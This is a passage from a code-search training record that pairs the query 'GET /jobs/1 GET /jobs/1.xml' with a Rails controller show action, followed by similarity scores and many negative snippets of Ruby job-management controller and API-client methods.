"def initialize_schema!\n Schema.create(self)\n end"
] |
[
"0.73018223",
"0.71676093",
"0.6997678",
"0.6957833",
"0.6896116",
"0.68658155",
"0.6842013",
"0.6823203",
"0.6687336",
"0.6675075",
"0.666211",
"0.66535115",
"0.6651465",
"0.6636484",
"0.6634296",
"0.66304713",
"0.6613827",
"0.657624",
"0.6564347",
"0.6542489",
"0.65175545",
"0.65042967",
"0.64969665",
"0.64872754",
"0.6431638",
"0.64126164",
"0.64126164",
"0.6400379",
"0.6368017",
"0.6367285",
"0.6364913",
"0.6335628",
"0.63353246",
"0.6316826",
"0.6295727",
"0.62917346",
"0.62653506",
"0.6246642",
"0.6233862",
"0.6216225",
"0.62014157",
"0.6172988",
"0.6170015",
"0.6163228",
"0.6160401",
"0.61586064",
"0.6102441",
"0.6086813",
"0.6070408",
"0.6070347",
"0.606357",
"0.60619664",
"0.6054953",
"0.6045868",
"0.6043826",
"0.6039441",
"0.60264415",
"0.6018956",
"0.60100526",
"0.6000744",
"0.59825426",
"0.59748787",
"0.5970265",
"0.5967254",
"0.59662676",
"0.59662676",
"0.5960295",
"0.5936158",
"0.59079444",
"0.5903749",
"0.5899479",
"0.58924097",
"0.58912444",
"0.588916",
"0.5879876",
"0.58689743",
"0.5868635",
"0.5860738",
"0.5857756",
"0.58421904",
"0.5839449",
"0.5832996",
"0.58315825",
"0.5829592",
"0.5829592",
"0.5829592",
"0.5811841",
"0.5805729",
"0.5799177",
"0.5794645",
"0.5786531",
"0.5782735",
"0.577452",
"0.57730466",
"0.5768813",
"0.576099",
"0.57559204",
"0.5749429",
"0.5748228",
"0.57391423"
] |
0.67692643
|
8
|
GET /jobs/1 GET /jobs/1.xml
|
def show
@job = Job.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @job }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @jobs = Job.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def getJobApi (options)\n uri = options[:job] + \"?depth=\" + options[:depth].to_s\n job_uri = URI.parse(uri)\n http = Net::HTTP.new(job_uri.host, job_uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(job_uri.request_uri)\n request.basic_auth @username, @password\n response = http.request(request)\n job_xml=XmlSimple.xml_in(response.body)\n return job_xml\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def jobs\n doc = Nokogiri::XML open(@url)\n\n doc.search('//job').map { |node|\n Job.new(attributes_from(node))\n }\n end",
"def index\n @jobs = Job.find(:all, :conditions => params_to_conditions(params), :order => \"id\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @job.to_xml }\n end\n end",
"def show\n @job = Job.find(params[:id])\n @tasks = @job.tasks\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def index\n @jobtimes = current_company.jobtimes.find_all_by_job_id(params[:job_id])\n respond_to do |format|\n format.xml {render :xml => @jobtimes }\n format.json { render :json => @jobtimes }\n end\n end",
"def get_single_job_sample(client)\n response = client[\"jobs/#{$job_id}\"].get\n\n p ''\n p 'Get single job'\n p response\nend",
"def get_jobs_sample(client)\n response = client['jobs'].get\n\n p ''\n p 'Get jobs'\n p response\nend",
"def show\n @job = Job.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job.to_xml(:include => { :job_parameters => { :include => :data_set } }) }\n end\n end",
"def show\n @job_status = JobStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_status }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @jobs_queue }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n format.json { render :json => @job }\n end\n end",
"def index\n @nodes = @job.nodes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n format.json { render :json => @nodes }\n end\n end",
"def getCurrentJobs\n getJobs('0/')\n end",
"def find_jobs(params:)\n response = HTTParty.get(\"#{@host}/api/jobs\", query: params)\n\n return response[\"jobs\"] \n end",
"def index\n @jobs = Job.paginate :page => params[:page], :order => 'created_at DESC', :per_page =>10\n @job = Job.find(:last)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n format.json { render :json => @jobs }\n end\n end",
"def status(*job_id)\n #take default job_id if not specified\n if job_id.empty?\n job_id = @job_id\n else\n job_id = job_id[0]\n end\n\n \n url=\"#{@base_url}/#{@tool}/status/#{URI.encode(job_id)}\"\n uri = URI.parse(url)\n\n resp = Net::HTTP.get_response(uri)\n #puts resp.body\n\n #params = XmlSimple.xml_in(resp.body)\n\n return resp.body\n\n\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_runner }\n end\n end",
"def find_job(job_id)\n response = HTTParty.get(\"#{@host}/api/jobs/#{job_id}\")\n\n return response['job']\n end",
"def index\n @job = Job.find(params[:jid]) if params[:jid] and Job.exists?(params[:jid])\n redirect_to jobs_path unless @job\n @job = Job.find(params[:jid]) if params[:jid] and Job.exists?(params[:jid])\n redirect_to jobs_path unless @job\n @job_scope_additions = JobScopeAddition.find_all_by_jobs_id(@job.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @job_scope_additions }\n end\n end",
"def jobs\n\t\t# ...\n\tend",
"def index\n @jobs = Job.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.rss\n end\n end",
"def job\n fetch('games.final_fantasy_xiv.jobs')\n end",
"def job(id, options = {})\n objectify get(\"/job/#{id}\", options)['joblist']['job']\n end",
"def get_job(id)\n conn = @client.get do |req|\n req.url \"/api/v2/job/#{id}\"\n req.headers[\"Authorization\"] = @token\n end\n conn.body\n end",
"def build_jobs_url\n \"http://#{host_name}:#{port}/jobs\"\n end",
"def index\n @job_requests = JobRequest.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def get_job_info(page)\n job_api = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs?page=#{page}&per_page=#{PER_PAGE}\"\n begin\n response = RestClient::Request.new(\n :method => :get,\n :url => job_api,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n response.headers\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"jobs info error: #{err.response}\"\n return nil\n end\nend",
"def index\n @jobs = Job.all\n end",
"def index\n @job_items = @job.job_items.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_items }\n end\n end",
"def show\n @job_title = JobTitle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_title }\n end\n end",
"def index\n respond_to do |format|\n format.html \n format.js { render :partial => 'list', :locals => { :jobs => Job.get_jobs(current_user, params) } }\n format.xml { render :xml => Job.get_jobs(current_user, params.merge({:show => 'all'})) }\n end\n end",
"def index\n @jobs = Job.page(params[:page])\n end",
"def index\n respond_to do |format|\n format.html { @jobs_queues = JobsQueue.get_jobs_queues(current_user, params) }\n format.xml { render :xml => JobsQueue.get_jobs_queues(current_user, params.merge({:show => 'all'})) }\n end\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n @page_title = \"Print job for #{@job.user.full_name}\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def index\n per_page = params[:per_page] ||= PER_PAGE\n @jobs = Job.paginate :page => params[:page],\n :per_page => params[:per_page],\n :order=>'created_at DESC'\n respond_to do |format|\n format.html # index.html.erb\n format.xml {render :xml => @jobs} \n format.json {render :json => @jobs}\n end\n end",
"def listjobs(project=self.project)\n get('listjobs.json', project: project).reject{|k,v| k=='status'}\n end",
"def show\n @print_job_status = PrintJobStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @print_job_status }\n end\n end",
"def show\n @items_print_job = ItemsPrintJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @items_print_job }\n end\n end",
"def get(jid)\n results = @client.call('get', jid)\n Job.new(@client, JSON.parse(results)) unless results.nil?\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def start_job\n associate(Wesabe::Job.from_xml(Hpricot::XML(post(:url => \"/credentials/#{id}/jobs.xml\")) / :job))\n end",
"def job_results(jobid)\r\n wait_on_status(jobid)\r\n puts \"Retrieving results for job [#{jobid}]\"\r\n uri = URI(\"http://api.idolondemand.com/1/job/result/\" + jobid)\r\n uri.query = URI.encode_www_form(:apikey => $api_key)\r\n res = Net::HTTP.get_response(uri, p_addr = $proxy_host, p_port = $proxy_port)\r\n return JSON.parse(res.body)['actions']\r\nend",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def get_job name\n\t\t\tputs \"==> Pulling config.xml for job: '#{name}'\"\n\t\t\tret = {}\n\t\t\tbegin\n\t\t\t\tresponse = RestClient.get \"#{@jenkins_host}:#{@jenkins_port}/job/#{name}/config.xml\"\n\t\t\t\tif response.code == 200\n\t\t\t\t\tret[:success] = true\n\t\t\t\t\tret[:job] = response.body\n\t\t\t\telse\n\t\t\t\t\traise '==> Job does not exist'\n\t\t\t\tend\n\t\t\trescue Exception => e\n\t\t\t\tret[:success] = false\n\t\t\tend\n\t\t\treturn ret\n\t\tend",
"def fetch_job\n JSON.parse(RestClient.get(url).body)\n end",
"def show\n\t@job = @user.jobs.find(params[:id])\n\t#if find fails, redirect to the controller\n\trescue\n\t\tflash[:error] = 'Record not found'\n\t\tredirect_to :controller => 'jobs'\n\t\treturn\n\t\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def index\n @inventories = current_company.inventories.find_all_by_job_id(params[:job_id])\n respond_to do |format|\n format.xml{ render :xml => @inventories }\n format.json{ render :json => @inventories }\n end\n end",
"def show\n @job = Job.find(params[:id])\n end",
"def show\n @job = Job.find(params[:id])\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render_for_api :checkins_with_job, json: @job, root: :job }\n end\n end",
"def get_jobs(url)\n result = JSON.parse(get_data(url))\n job_list = []\n result[\"jobs\"].each do |job|\n job = JenkinsJob.new job[\"name\"], job[\"color\"], job[\"url\"]\n job_list << job\n end\n job_list\nend",
"def getExecutionsForAJob(job_id)\n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/1/job/' + job_id + '/executions')\n http = Net::HTTP.new(uri.host, uri.port)\n headers = {\n 'Content-Type'=> 'application/json',\n 'X-RunDeck-Auth-Token'=> API_KEY \n}\n r = http.get(uri.path, headers)\n return r.body.force_encoding(\"UTF-8\")\nend",
"def jobstats path\n log_path = File.join(path, \"_logs\", \"history\")\n jobstats_page = fs.entries(log_path).reject{|path| path =~ /.*.xml/}.first\n fs.open(jobstats_page).read\n end",
"def index\n @jobs = Job.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def index\n @jobs = Job.all\n render :index\n end",
"def show\n @job = Job.find_by_permalink!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def show\n allow :get, :delete; vary_on :accept\n job = OAR::Job.expanded.includes(:job_types, :job_events, :gantt).find(\n params[:id]\n )\n job.links = links_for_item(job)\n\n render_opts = { methods: %i[resources_by_type assigned_nodes] }\n render_result(job, render_opts)\n end",
"def index\n\t@jobs = (@user.username == \"Admin\")? Job.all : @user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def index\n @jobs = current_user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def job(url)\n server(url).job(URI(url).path)\n end",
"def job_get(organization, jobid)\n uri = server_uri(\"/organizations/#{organization}/jobs/#{jobid}\")\n res_data = api_get(uri)\n @logger.debug res_data\n\n return res_data\n end",
"def index\n @completed_jobs = DialJob.where(:status => 'completed').paginate(\n\t\t:page => params[:page], \n\t\t:order => 'id DESC',\n\t\t:per_page => 30\n\n\t)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dial_results }\n end\n end",
"def listJobsForProject(project_mame)\n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/1/jobs')\n params = { 'project' => project_mame }\n headers = {\n 'Content-Type'=> 'application/json',\n 'X-RunDeck-Auth-Token'=> API_KEY \n}\n connection = Excon.new('http://build01:4440/api/1/jobs')\n return connection.get(:query => { 'project' => project_mame },:headers => {\n 'Content-Type'=> 'application/json',\n 'X-RunDeck-Auth-Token'=> API_KEY \n}).body.force_encoding(\"UTF-8\")\n\nend",
"def getDeadJobs\n getJobs('1/')\n end",
"def create_job xml, name\n\t\t\tputs \"==> Creating job for project: '#{name}'\"\n\t\t\tbegin\n\t\t\t\tcreate_response = RestClient.post \"#{@jenkins_host}:#{@jenkins_port}/createItem/?name=#{name}\", xml , {:content_type => :xml}\n\t\t\t\treturn create_response.code.to_s\n\t\t\trescue Exception => e\n\t\t\t\tputs \"==> Error creating job #{name}\"\n\t\t\t\treturn \"500\"\n\t\t\tend\n\t\tend",
"def show\n begin\n @job = Job.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n respond_to do |format|\n format.html { \n redirect_to(\"#{jobs_path}?page=1\")\n flash[:error] = \"Couldn't find the Job to show.\"\n }\n format.xml { head :not_found, :status => :missing }\n format.json { head :not_found, :status => :missing }\n end\n else\n @current_page = params[:page] ||= 1\n respond_to do |format|\n format.html # show.html.erb\n format.xml {render :xml => @job} \n format.json {render :json => @job}\n end\n end\n end",
"def index\n @jobs = Job.with_hires(nil).all\n end",
"def index\n @jobs = Job.all\n @paginated_jobs = @jobs.paginate(:page => params[:page], :per_page => Settings.Pagination.NoOfEntriesPerPage)\n end",
"def show\n respond_with Job.find(params[:id])\n end",
"def index\n @jobs = Job.all\n # @jobs = ScriptedClient::Job.all\n end"
] |
[
"0.7036172",
"0.7022433",
"0.69805336",
"0.6919156",
"0.6904993",
"0.6724512",
"0.67069477",
"0.6669827",
"0.6622953",
"0.6582649",
"0.65720886",
"0.6570132",
"0.6522732",
"0.6514824",
"0.64877105",
"0.6485272",
"0.64750725",
"0.6471768",
"0.6452575",
"0.64371556",
"0.64324504",
"0.6398124",
"0.6391279",
"0.63636833",
"0.6330402",
"0.6330356",
"0.6301389",
"0.6299175",
"0.62922937",
"0.62678653",
"0.62678653",
"0.62678653",
"0.62678653",
"0.62678653",
"0.62678653",
"0.6218477",
"0.6213846",
"0.6189326",
"0.6172275",
"0.61716384",
"0.6169703",
"0.61676747",
"0.6166604",
"0.6141201",
"0.6137627",
"0.6135578",
"0.6134878",
"0.6117333",
"0.61160856",
"0.61124545",
"0.6108095",
"0.6105303",
"0.61039203",
"0.61039203",
"0.61039203",
"0.61039203",
"0.61039203",
"0.61005783",
"0.609355",
"0.60768336",
"0.6070195",
"0.60633665",
"0.60633665",
"0.6062472",
"0.60620075",
"0.6060417",
"0.6038699",
"0.6031491",
"0.60296273",
"0.60293037",
"0.6027957",
"0.60248786",
"0.60219884",
"0.602137",
"0.602137",
"0.602137",
"0.602137",
"0.602137",
"0.602137",
"0.602137",
"0.602137",
"0.602137",
"0.60181063",
"0.6008225",
"0.5999753",
"0.59986365",
"0.5980446",
"0.5967164",
"0.5962071",
"0.5961427",
"0.59585464",
"0.59520626",
"0.59479016",
"0.5944398"
] |
0.67145115
|
10
|
GET /jobs/new GET /jobs/new.xml
|
def new
@job = Job.new
@job.job_id = params[:job_id]
@job.supplier_id = params[:supplier_id]
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @job }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n createJobWithDefaults\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new_default(params[:job])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n format.json { render :json => @job }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_runner }\n end\n end",
"def new\n @job_status = JobStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_status }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job_title = JobTitle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_title }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @jobs_queue = JobsQueue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @jobs_queue }\n end\n end",
"def new\n @node = @job.nodes.build \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n format.json { render :json => @node } \n end\n end",
"def new\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def new\n @print_job_status = PrintJobStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @print_job_status }\n end\n end",
"def new\n @items_print_job = ItemsPrintJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @items_print_job }\n end\n end",
"def new\n\t\t@job = Job.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @job }\n\t\tend\n\tend",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to job_url(@job) }\n format.xml { head :created, :location => job_url(@job) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors.to_xml }\n end\n end\n end",
"def new\n @filter_job = FilterJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @filter_job }\n end\n end",
"def new\n @job_application = JobApplication.new\n @users = User.find :all\n @job_postings = JobPosting.find :all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def new\n @saved_job = SavedJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @saved_job }\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to verify_job_url(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @job_list = JobList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_list }\n end\n end",
"def new\n @user = User.find(params[:user_id])\n @job = @user.jobs.new\n @job.paper_price = current_paper_price\n @job.ink_price = current_ink_price\n @job.quantity = 1\n\n @page_title = \"New print job for \" + @user.full_name \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @construction_job = Construction::Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @construction_job }\n end\n end",
"def new\n @job_student = JobStudent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_student }\n end\n end",
"def create_job xml, name\n\t\t\tputs \"==> Creating job for project: '#{name}'\"\n\t\t\tbegin\n\t\t\t\tcreate_response = RestClient.post \"#{@jenkins_host}:#{@jenkins_port}/createItem/?name=#{name}\", xml , {:content_type => :xml}\n\t\t\t\treturn create_response.code.to_s\n\t\t\trescue Exception => e\n\t\t\t\tputs \"==> Error creating job #{name}\"\n\t\t\t\treturn \"500\"\n\t\t\tend\n\t\tend",
"def new\n @dailyreport_job = DailyreportJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dailyreport_job }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def new\n @job_folio = JobFolio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_folio }\n end\n end",
"def new\n @job_title = JobTitle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_title }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.js\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @sfjob = Sfjob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sfjob }\n end\n end",
"def new\n @jobs = Job.new(params[:accepted_jobs])\n\n @jobs.user_id = current_user.id\n\n pp @jobs\n\n # respond_to do |format|\n # if @jobs.save\n # format.html { redirect_to home_path, notice: 'Request was successfully created.' }\n # format.json { render json: @jobs, status: :created, location: home_path }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @jobs.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def new\n @jobsearch = Jobsearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobsearch }\n end\n end",
"def index\n @jobs = Job.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def new\n @device = Device.find(params[:device_id]) \n @job = @device.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @work }\n end\n end",
"def create\n @job = Job.new(params[:job])\n @job.company_id = current_company.id\n\n if @job.save\n response_message = {:message => \"Job created successfully.\", :job => @job}\n else\n response_message = {:message => \"Job creation failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message}\n format.json { render :json => response_message }\n end\n end",
"def new\n @job_notification = JobNotification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_notification }\n end\n end",
"def new\n @worker = Worker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @worker }\n end\n end",
"def new\n @job = Job.new\n @locations = Location.find(:all, :conditions=>['user_id=?',current_user.id])\n @job.locations.build # Creating task_location in Memory so that our Form has something to work with when dealing with Task Locations.\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job_posting_detail = JobPostingDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_posting_detail }\n end\n end",
"def new\n @emp_job = EmpJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @emp_job }\n end\n end",
"def new\n if params[:id].nil?\n redirect_to \"/\", :alert=>\"You need to apply through a job\"\n return\n end\n\n @job = Job.find(params[:id])\n @company = @job.company.name\n @title = @job.title\n\n @application = Application.new\n\n respond_to do |format|\n format.html# new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @jobtype = Jobtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render_json @jobtype }\n end\n end",
"def new\n @job_item = @job.job_items.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_item }\n end\n end",
"def new\n @title = t('view.print_job_types.new_title')\n @print_job_type = PrintJobType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @print_job_type }\n end\n end",
"def new\n @job_compact = JobCompact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_compact }\n end\n end",
"def new\n @job = Job.new\n\n session[:time_now] = Time.now\n\n 2.times do\n @job.references.build\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
